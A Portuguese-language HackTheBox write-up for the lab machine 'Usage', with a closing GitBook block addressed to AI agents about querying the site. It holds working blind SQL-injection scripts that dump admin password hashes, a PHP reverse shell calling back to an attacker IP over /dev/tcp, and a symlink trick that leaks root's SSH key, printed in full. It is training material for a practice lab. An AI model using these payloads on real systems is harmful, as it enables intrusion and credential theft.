> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md).

# Relato do HackTheBox Usage

{% embed url="<https://app.hackthebox.com/machines/597>" %}

{% hint style="warning" %}
Habilidades:

* Enumeração de subdomínios
* SQLI - Injeção Cega Baseada em Booleanos (MANUAL) + Dicas do Burp Suite
* Script em Python para explorar SQLI
* Quebrando hashes
* Exploração do Laravel-admin (RCE abusando do upload de arquivo)
* Análise Binária (GHIDRA)
* Abusando do privilégio Sudoers + binário personalizado para obter a chave privada SSH do root (Escalada de privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/c4b8396526a551ad09aeb819b50133d586adf9f3" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/265170d3257a86bb17ae3c0f1311bd9ba1d8173b" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -vvv -Pn --min-rate 5000 10.10.11.18 -oG allPorts
```

<figure><img src="/files/1716d53ce41b4ca950d454cca95b068b0b4763e5" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (21,22,80)

<figure><img src="/files/1d8113437211c65b7968df6459603f9c7b8b25ed" alt="" width="563"><figcaption></figcaption></figure>

Varredura de versões de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.18 -oN targeted
```

<figure><img src="/files/0e17f20651f399c99651940323ab9ab763fd0ceb" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:

### Porta 80:

Na porta 80, criaremos uma conta de usuário com um e-mail fictício "`test@test.com`" na seção de registro.

<figure><img src="/files/290c2377cf3e5a9353713d135ee1076f4a7ee5a0" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade [SQLI](/pt-br/web/sql-injection.md):

Descobrimos um painel de redefinição de senha vulnerável à injeção SQL

<figure><img src="/files/7369c9ba61893a173a34e8fd9f06e5f309e561fc" alt=""><figcaption></figcaption></figure>

. Ao interceptar as solicitações com o Burp Suite, obtemos a mensagem "*Enviamos sua senha por e-mail*".

<figure><img src="/files/1e3810b59998e52b0cbf7f2e77859e268eabcef7" alt=""><figcaption></figcaption></figure>

Quando tentamos uma injeção SQL básica, ela funciona e recebemos a mesma mensagem de erro novamente, confirmando que a injeção está funcionando. O teste básico de injeção é:

`iojfeifif' or 1=1-- -`

<figure><img src="/files/a96e8573dde7cd8d2b324ad7589f9d9d54508b2e" alt="" width="563"><figcaption></figcaption></figure>

### Respostas condicionais de SQLI:

> Embora os resultados da consulta SQL não sejam retornados e nenhuma mensagem de erro apareça, a aplicação exibe a mensagem "Enviamos sua senha por e-mail" na página se a consulta retornar alguma linha.

Verificamos essa suposição executando uma injeção condicional usando a `substring` função para extrair as primeiras letras do nome do banco de dados.

Exemplos de injeção:

* Teste a primeira letra do nome do banco de dados\:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* Teste a segunda letra do nome do banco de dados\:/ `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/ea49c86add5f21d7f2a713308d3d1183c44aa00e" alt=""><figcaption></figcaption></figure>

### Enumeração do nome do banco de dados:

Automatizamos o processo de descoberta do nome do banco de dados usando um script em Python que envia consultas com payloads específicos e recupera os resultados quando o servidor exibe a resposta "Enviamos sua senha por e-mail".

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Lidar com sinais de saída
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C para sair
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres expandido (adicione mais caracteres especiais conforme necessário)
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Injeção SQL")
    p1.status("Iniciando injeção SQL...")
    time.sleep(2)

    p2 = log.progress("Dados extraídos")

    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            
            # Envie a solicitação POST com o payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostre em tempo real o caractere que está sendo testado
            p1.status(f"Testando posição {position}: {character}")

            # Verifique o feedback específico do servidor para confirmar o caractere correto
            if "Enviamos sua senha por e-mail" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Se um caractere for encontrado para esta posição, passe para a próxima posição
        if found_character:
            p1.status(f"Posição {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posição {position}: caractere não encontrado")

    p1.success("Força bruta de injeção SQL concluída")
    p2.success(f"Dados extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/9f0291b902637447a59e667c0fff9a2b22908ad6" alt="" width="440"><figcaption></figcaption></figure>

### Enumeração do banco de dados:

Modificamos o payload para listar todos os bancos de dados presentes no servidor. Usamos a `group_concat` função da `information_schema.schemata` banco de dados para recuperar todos os bancos de dados disponíveis. Esta etapa permite descobrir todos os bancos de dados presentes.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Lidar com sinais de saída
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C para sair
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres expandido (adicione mais caracteres especiais conforme necessário)
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Injeção SQL")
    p1.status("Iniciando injeção SQL...")
    time.sleep(2)

    p2 = log.progress("Dados extraídos")

    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

            }
            
            # Envie a solicitação POST com o payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostre em tempo real o caractere que está sendo testado
            p1.status(f"Testando posição {position}: {character}")

            # Verifique o feedback específico do servidor para confirmar o caractere correto
            if "Enviamos sua senha por e-mail" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Se um caractere for encontrado para esta posição, passe para a próxima posição
        if found_character:
            p1.status(f"Posição {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posição {position}: caractere não encontrado")

    p1.success("Força bruta de injeção SQL concluída")
    p2.success(f"Dados extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/162f7b3ae38eeccaf0be3f01994d28c3a1c9fd5e" alt="" width="563"><figcaption></figcaption></figure>

### Lista de tabelas no `usage_blog` banco de dados:

Depois de encontrar o `usage_blog` banco de dados, modificamos o payload novamente para enumerar as tabelas nesse banco de dados. Usamos a `group_concat` função para recuperar os nomes de todas as tabelas no `usage_blog` banco de dados.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Lidar com sinais de saída
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C para sair
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres expandido (adicione mais caracteres especiais conforme necessário)
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Injeção SQL")
    p1.status("Iniciando injeção SQL...")
    time.sleep(2)

    p2 = log.progress("Dados extraídos")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character) 

            }
            
            # Envie a solicitação POST com o payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostre em tempo real o caractere que está sendo testado
            p1.status(f"Testando posição {position}: {character}")

            # Verifique o feedback específico do servidor para confirmar o caractere correto
            if "Enviamos sua senha por e-mail" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Se um caractere for encontrado para esta posição, passe para a próxima posição
        if found_character:
            p1.status(f"Posição {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posição {position}: caractere não encontrado")

    p1.success("Força bruta de injeção SQL concluída")
    p2.success(f"Dados extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

<div data-full-width="true"><figure><img src="/files/43a8281329a39c77633ff922816aa7952a80ea36" alt=""><figcaption></figcaption></figure></div>

### Enumeração das colunas da `admin_users` tabela:

Depois que as tabelas são identificadas, direcionamos a `admin_users` tabela para enumerar suas colunas. Usamos a `group_concat` função novamente para recuperar os nomes das colunas dessa tabela específica.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Lidar com sinais de saída
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C para sair
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres expandido (adicione mais caracteres especiais conforme necessário)
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Injeção SQL")
    p1.status("Iniciando injeção SQL...")
    time.sleep(2)

    p2 = log.progress("Dados extraídos")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character) 

            }
            
            # Envie a solicitação POST com o payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostre em tempo real o caractere que está sendo testado
            p1.status(f"Testando posição {position}: {character}")

            # Verifique o feedback específico do servidor para confirmar o caractere correto
            if "Enviamos sua senha por e-mail" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Se um caractere for encontrado para esta posição, passe para a próxima posição
        if found_character:
            p1.status(f"Posição {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posição {position}: caractere não encontrado")

    p1.success("Força bruta de injeção SQL concluída")
    p2.success(f"Dados extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/33be849969b9f71a3a1ea0155e53c1f813576933" alt=""><figcaption></figcaption></figure>

### Exibindo `nome de usuário` e `senha`:

Para exibir IDs de usuário e senhas na `admin_users` tabela, a consulta SQL será modificada para concatenar os `nome de usuário` e `senha` campos

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Lidar com sinais de saída
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C para sair
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres expandido (adicione mais caracteres especiais conforme necessário)
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Injeção SQL")
    p1.status("Iniciando injeção SQL...")
    time.sleep(2)

    p2 = log.progress("Dados extraídos")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

            }
            
            # Envie a solicitação POST com o payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostre em tempo real o caractere que está sendo testado
            p1.status(f"Testando posição {position}: {character}")

            # Verifique o feedback específico do servidor para confirmar o caractere correto
            if "Enviamos sua senha por e-mail" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Se um caractere for encontrado para esta posição, passe para a próxima posição
        if found_character:
            p1.status(f"Posição {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posição {position}: caractere não encontrado")

    p1.success("Força bruta de injeção SQL concluída")
    p2.success(f"Dados extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/e948c6f47b162768e9a1cde8bfc2d72ef24f8466" alt=""><figcaption></figcaption></figure>

### Quebra de senha com o John:

Assim que o hash da senha for recuperado, você pode usar **John** para quebrá-lo com um dicionário como **rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:whatever1`

<figure><img src="/files/b67fbbab8f82d47e28c0f2bb22213e7a1085a43d" alt=""><figcaption></figcaption></figure>

#### Painel de administrador:

<figure><img src="/files/2b7959466e2e6c5acf65b415bfbceda080e93350" alt=""><figcaption></figcaption></figure>

Assim que as credenciais forem encontradas, é possível acessar o painel de administrador modificando o `/etc/hosts` arquivo para adicionar a entrada `admin.usage.htb` .

<figure><img src="/files/45a56fea383397dfbfc6ca490b4fc45e1eeb9254" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de upload de arquivo (Laravel-admin)

Na aplicação Laravel-admin, há uma seção que permite fazer upload de um avatar. Explorando esse recurso, podemos enviar um arquivo malicioso para obter acesso não autorizado ao servidor.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/95088701fa58308592125dde853a6b727126493b" alt=""><figcaption></figcaption></figure>

### **Passos da operação:**

1. **Interceptação e modificação do arquivo do avatar**:
   * Intercepte a requisição com o Burp Suite.
   * Altere o valor da `filename` variável para adicionar a extensão PHP após um arquivo de imagem falso, por exemplo: `hack.jpg.php`.

<figure><img src="/files/1541b7be9c3582b6f4ca7e7d8bae6d4b258d5c29" alt=""><figcaption></figcaption></figure>

* O conteúdo do arquivo deve ser um reverse shell, como:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>
```

<figure><img src="/files/df1bfcf282ad1d9da462e1c9fd36659722126475" alt=""><figcaption></figcaption></figure>

**Ouvindo com Netcat**:

* Inicie a escuta na porta 443 com o Netcat:

```bash
nc -nlvp 443 
```

<figure><img src="/files/3922ce3fb1bb04a577d22b328ea8546cf217cba6" alt="" width="563"><figcaption></figcaption></figure>

Execute os seguintes comandos para tornar a sessão do shell mais interativa:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="/files/7c76b83f4b19b2b34d49a60544335dbff985da83" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilégio:

### Vazamento de informações

No diretório do usuário `dash`, um arquivo `.monitrc` está acessível, contendo informações sensíveis

<figure><img src="/files/b08617e0105dcb13cc61fc4161b67e7f8a4f34cd" alt="" width="563"><figcaption></figcaption></figure>

`admin:3nc0d3d_pa$$w0rd`

<figure><img src="/files/004f56c79a2708b3ab348554cd133c33ba1315e4" alt="" width="563"><figcaption></figcaption></figure>

Essa senha corresponde ao usuário `XANDER`.

<figure><img src="/files/69143936c216eced1a8c82f0dcceb5086f565ac1" alt="" width="563"><figcaption></figcaption></figure>

### Abusando do binário Sudoers:

Executando o `sudo -l` comando como usuário `xander`, descobrimos a possibilidade de executar o `usage_management` binário com três opções:

1. *`Backup do projeto`*
2. *`Fazer backup dos dados do MySQL`*
3. *`Redefinir senha do administrador`*

<figure><img src="/files/cad506c337d4229f958d57ee97f6a975dc176b7f" alt=""><figcaption></figcaption></figure>

Ao selecionar a primeira opção ("Backup do projeto"), o programa cria um arquivo `.zip` com um backup como usuário `root`.

<figure><img src="/files/3541e1795bb57396a1b2918fb4fa741790010b7b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e63d465f1471e4facee30977bba4f230b1b87a3a" alt=""><figcaption></figcaption></figure>

### Análise Binária (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

Instale e execute o GHIDRA para analisar o binário:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/eaf1aca66110af5dc087f585f574f6223eec374d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/21a973c3c19012674fc4e8a7562736c8b63984f6" alt=""><figcaption></figcaption></figure>

* No `Backup do projeto` função, observamos que essa funcionalidade compacta o conteúdo de `/var/www/html` em um `project.zip` arquivo com privilégios de root.

<figure><img src="/files/a9b931a63bbee047fadb49f5680a6147d9ce24ee" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Criando um link simbólico para acessar a chave SSH do root**: Para explorar essa funcionalidade, crie um link simbólico para a chave SSH do root no `html` diretório

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/62f5f43280dc5500409629292a25746c0021bde7" alt=""><figcaption></figcaption></figure>

**Executando o script como root**:

* Execute o `usage_management` script:

<figure><img src="/files/5e9120d7553633161b985023e4601cd903400cc1" alt=""><figcaption></figcaption></figure>

* No `project.zip` arquivo, obtenha a chave privada do root (`id_rsa`).

<figure><img src="/files/dd840c7a410f88863e14a1e9f7100ffbe7d206e0" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**Conexão SSH com a chave do root**:

* Use a chave para entrar como root:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/fa85cc9c5eab40883086d5783540fc42597cfa77" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="/files/6176ceb0c997fe0ff16054c6b44f3793e6241914" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/0b9bf7e4d1926d58ce3551748a19d7aff6f8ba20" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
